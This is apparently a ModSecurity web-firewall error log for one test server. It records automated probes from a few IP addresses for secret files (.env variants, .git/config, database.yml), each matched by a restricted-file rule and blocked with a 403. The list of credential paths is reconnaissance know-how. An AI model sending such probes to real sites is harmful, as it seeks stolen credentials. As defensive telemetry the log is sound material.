[Wed May 07 20:52:33.634559 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /myproject/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/myproject/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczswAAAA4&quot;]
[Wed May 07 20:52:33.634784 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/myproject/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczswAAAA4&quot;]
[Wed May 07 20:52:33.634963 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/myproject/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczswAAAA4&quot;]
[Wed May 07 20:52:33.656801 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.envs/.production/.django&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs/.production/.django&quot;] [unique_id &quot;aBur8a4g94IEkoEblecztAAAAA4&quot;]
[Wed May 07 20:52:33.657018 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs/.production/.django&quot;] [unique_id &quot;aBur8a4g94IEkoEblecztAAAAA4&quot;]
[Wed May 07 20:52:33.657200 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs/.production/.django&quot;] [unique_id &quot;aBur8a4g94IEkoEblecztAAAAA4&quot;]
[Wed May 07 20:52:33.679363 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /react-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEblecztQAAAA4&quot;]
[Wed May 07 20:52:33.679601 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEblecztQAAAA4&quot;]
[Wed May 07 20:52:33.679785 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEblecztQAAAA4&quot;]
[Wed May 07 20:52:33.701761 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /react-app/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env.production&quot;] [unique_id &quot;aBur8a4g94IEkoEblecztgAAAA4&quot;]
[Wed May 07 20:52:33.702004 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env.production&quot;] [unique_id &quot;aBur8a4g94IEkoEblecztgAAAA4&quot;]
[Wed May 07 20:52:33.702188 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react-app/.env.production&quot;] [unique_id &quot;aBur8a4g94IEkoEblecztgAAAA4&quot;]
[Thu May 08 06:07:38.756137 2025] [:error] [pid 3010391] [client 93.123.109.7:50554] [client 93.123.109.7] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBwuCuBDVLneEDi_3QOVIAAAAAU&quot;]
[Thu May 08 06:07:38.756397 2025] [:error] [pid 3010391] [client 93.123.109.7:50554] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBwuCuBDVLneEDi_3QOVIAAAAAU&quot;]
[Thu May 08 06:07:38.756558 2025] [:error] [pid 3010391] [client 93.123.109.7:50554] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBwuCuBDVLneEDi_3QOVIAAAAAU&quot;]
[Sat May 10 15:41:00.971684 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aB9XbH0QE4ypGnyWNt4RAAAAAAA&quot;]
[Sat May 10 15:41:00.973177 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aB9XbH0QE4ypGnyWNt4RAAAAAAA&quot;]
[Sat May 10 15:41:00.973389 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aB9XbH0QE4ypGnyWNt4RAAAAAAA&quot;]
[Sat May 10 15:41:00.995627 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aB9XbH0QE4ypGnyWNt4RAQAAAAA&quot;]
[Sat May 10 15:41:00.995859 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aB9XbH0QE4ypGnyWNt4RAQAAAAA&quot;]
[Sat May 10 15:41:00.996031 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aB9XbH0QE4ypGnyWNt4RAQAAAAA&quot;]
[Sat May 10 15:41:01.206473 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RAgAAAAA&quot;]
[Sat May 10 15:41:01.206714 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RAgAAAAA&quot;]
[Sat May 10 15:41:01.206900 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RAgAAAAA&quot;]
[Sat May 10 15:41:01.229138 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RAwAAAAA&quot;]
[Sat May 10 15:41:01.229382 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RAwAAAAA&quot;]
[Sat May 10 15:41:01.229553 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RAwAAAAA&quot;]
[Sat May 10 15:41:01.251913 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /settings/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings/.env&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RBAAAAAA&quot;]
[Sat May 10 15:41:01.252141 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings/.env&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RBAAAAAA&quot;]
[Sat May 10 15:41:01.252320 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings/.env&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RBAAAAAA&quot;]
[Sat May 10 15:41:01.321184 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RBwAAAAA&quot;]
[Sat May 10 15:41:01.321428 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RBwAAAAA&quot;]
[Sat May 10 15:41:01.321620 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RBwAAAAA&quot;]
